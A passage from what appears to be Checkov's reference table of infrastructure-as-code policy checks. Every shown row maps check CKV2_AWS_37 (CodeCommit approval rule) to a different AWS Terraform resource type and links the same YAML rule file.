[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1079 | CKV2_AWS_37              | resource                         | aws_batch_job_definition                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1080 | CKV2_AWS_37              | resource                         | aws_batch_job_queue                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1081 | CKV2_AWS_37              | resource                         | aws_batch_scheduling_policy                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1082 | CKV2_AWS_37              | resource                         | aws_bcmdataexports_export                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1083 | CKV2_AWS_37              | resource                         | aws_bedrock_custom_model                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1084 | CKV2_AWS_37              | resource                         | aws_bedrock_guardrail                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1085 | CKV2_AWS_37              | resource                         | aws_bedrock_guardrail_version                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1086 | CKV2_AWS_37              | resource                         | aws_bedrock_inference_profile                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1087 | CKV2_AWS_37              | resource                         | aws_bedrock_model_invocation_logging_configuration                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1088 | CKV2_AWS_37              | resource                         | aws_bedrock_provisioned_model_throughput                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1089 | CKV2_AWS_37              | resource                         | aws_bedrockagent_agent                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1090 | CKV2_AWS_37              | resource                         | aws_bedrockagent_agent_action_group                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1091 | CKV2_AWS_37              | resource                         | aws_bedrockagent_agent_alias                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1092 | CKV2_AWS_37              | resource                         | aws_bedrockagent_agent_collaborator                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1093 | CKV2_AWS_37              | resource                         | aws_bedrockagent_agent_knowledge_base_association                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1094 | CKV2_AWS_37              | resource                         | aws_bedrockagent_data_source                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1095 | CKV2_AWS_37              | resource                         | aws_bedrockagent_knowledge_base                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1096 | CKV2_AWS_37              | resource                         | aws_budgets_budget                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1097 | CKV2_AWS_37              | resource                         | aws_budgets_budget_action                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1098 | CKV2_AWS_37              | resource                         | aws_caller_info                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1099 | CKV2_AWS_37              | resource                         | aws_ce_anomaly_monitor                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1100 | CKV2_AWS_37              | resource                         | aws_ce_anomaly_subscription                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1101 | CKV2_AWS_37              | resource                         | aws_ce_cost_allocation_tag                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1102 | CKV2_AWS_37              | resource                         | aws_ce_cost_category                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1103 | CKV2_AWS_37              | resource                         | aws_chatbot_slack_channel_configuration                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1104 | CKV2_AWS_37              | resource                         | aws_chatbot_teams_channel_configuration                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1105 | CKV2_AWS_37              | resource                         | aws_chime_voice_connector                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1106 | CKV2_AWS_37              | resource                         | aws_chime_voice_connector_group                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1107 | CKV2_AWS_37              | resource                         | aws_chime_voice_connector_logging                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1108 | CKV2_AWS_37              | resource                         | aws_chime_voice_connector_origination                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1109 | CKV2_AWS_37              | resource                         | aws_chime_voice_connector_streaming                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1110 | CKV2_AWS_37              | resource                         | aws_chime_voice_connector_termination                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1111 | CKV2_AWS_37              | resource                         | aws_chime_voice_connector_termination_credentials                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1112 | CKV2_AWS_37              | resource                         | aws_chimesdkmediapipelines_media_insights_pipeline_configuration                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1113 | CKV2_AWS_37              | resource                         | aws_chimesdkvoice_global_settings                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1114 | CKV2_AWS_37              | resource                         | aws_chimesdkvoice_sip_media_application                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1115 | CKV2_AWS_37              | resource                         | aws_chimesdkvoice_sip_rule                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1116 | CKV2_AWS_37              | resource                         | aws_chimesdkvoice_voice_profile_domain                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1117 | CKV2_AWS_37              | resource                         | aws_cleanrooms_collaboration                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1118 | CKV2_AWS_37              | resource                         | aws_cleanrooms_configured_table                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1119 | CKV2_AWS_37              | resource                         | aws_cleanrooms_membership                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1120 | CKV2_AWS_37              | resource                         | aws_cloud9_environment_ec2                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1121 | CKV2_AWS_37              | resource                         | aws_cloud9_environment_membership                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1122 | CKV2_AWS_37              | resource                         | aws_cloudcontrolapi_resource                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1123 | CKV2_AWS_37              | resource                         | aws_cloudformation_stack                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1124 | CKV2_AWS_37              | resource                         | aws_cloudformation_stack_instances                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1125 | CKV2_AWS_37              | resource                         | aws_cloudformation_stack_set                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1126 | CKV2_AWS_37              | resource                         | aws_cloudformation_stack_set_instance                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1127 | CKV2_AWS_37              | resource                         | aws_cloudformation_type                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1128 | CKV2_AWS_37              | resource                         | aws_cloudfront_cache_policy                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1129 | CKV2_AWS_37              | resource                         | aws_cloudfront_continuous_deployment_policy                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1130 | CKV2_AWS_37              | resource                         | aws_cloudfront_distribution                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1131 | CKV2_AWS_37              | resource                         | aws_cloudfront_field_level_encryption_config                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1132 | CKV2_AWS_37              | resource                         | aws_cloudfront_field_level_encryption_profile                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1133 | CKV2_AWS_37              | resource                         | aws_cloudfront_function                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1134 | CKV2_AWS_37              | resource                         | aws_cloudfront_key_group                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1135 | CKV2_AWS_37              | resource                         | aws_cloudfront_key_value_store                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1136 | CKV2_AWS_37              | resource                         | aws_cloudfront_monitoring_subscription                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1137 | CKV2_AWS_37              | resource                         | aws_cloudfront_origin_access_control                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1138 | CKV2_AWS_37              | resource                         | aws_cloudfront_origin_access_identity                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1139 | CKV2_AWS_37              | resource                         | aws_cloudfront_origin_request_policy                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1140 | CKV2_AWS_37              | resource                         | aws_cloudfront_public_key                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1141 | CKV2_AWS_37              | resource                         | aws_cloudfront_realtime_log_config                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1142 | CKV2_AWS_37              | resource                         | aws_cloudfront_response_headers_policy                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1143 | CKV2_AWS_37              | resource                         | aws_cloudfront_vpc_origin                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1144 | CKV2_AWS_37              | resource                         | aws_cloudfrontkeyvaluestore_key                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1145 | CKV2_AWS_37              | resource                         | aws_cloudhsm_v2_cluster                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1146 | CKV2_AWS_37              | resource                         | aws_cloudhsm_v2_hsm                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1147 | CKV2_AWS_37              | resource                         | aws_cloudsearch_domain                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1148 | CKV2_AWS_37              | resource                         | aws_cloudsearch_domain_service_access_policy                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1149 | CKV2_AWS_37              | resource                         | aws_cloudtrail                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1150 | CKV2_AWS_37              | resource                         | aws_cloudtrail_event_data_store                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1151 | CKV2_AWS_37              | resource                         | aws_cloudtrail_organization_delegated_admin_account                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1152 | CKV2_AWS_37              | resource                         | aws_cloudwatch_composite_alarm                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1153 | CKV2_AWS_37              | resource                         | aws_cloudwatch_dashboard                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1154 | CKV2_AWS_37              | resource                         | aws_cloudwatch_event_api_destination                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1155 | CKV2_AWS_37              | resource                         | aws_cloudwatch_event_archive                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1156 | CKV2_AWS_37              | resource                         | aws_cloudwatch_event_bus                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1157 | CKV2_AWS_37              | resource                         | aws_cloudwatch_event_bus_policy                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1158 | CKV2_AWS_37              | resource                         | aws_cloudwatch_event_connection                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1159 | CKV2_AWS_37              | resource                         | aws_cloudwatch_event_endpoint                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1160 | CKV2_AWS_37              | resource                         | aws_cloudwatch_event_permission                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1161 | CKV2_AWS_37              | resource                         | aws_cloudwatch_event_rule                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1162 | CKV2_AWS_37              | resource                         | aws_cloudwatch_event_target                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1163 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_account_policy                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1164 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_anomaly_detector                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1165 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_data_protection_policy                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1166 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_delivery                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1167 | CKV2_AWS_37              | resource                         | aws_cloudwatch_log_delivery_destination                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 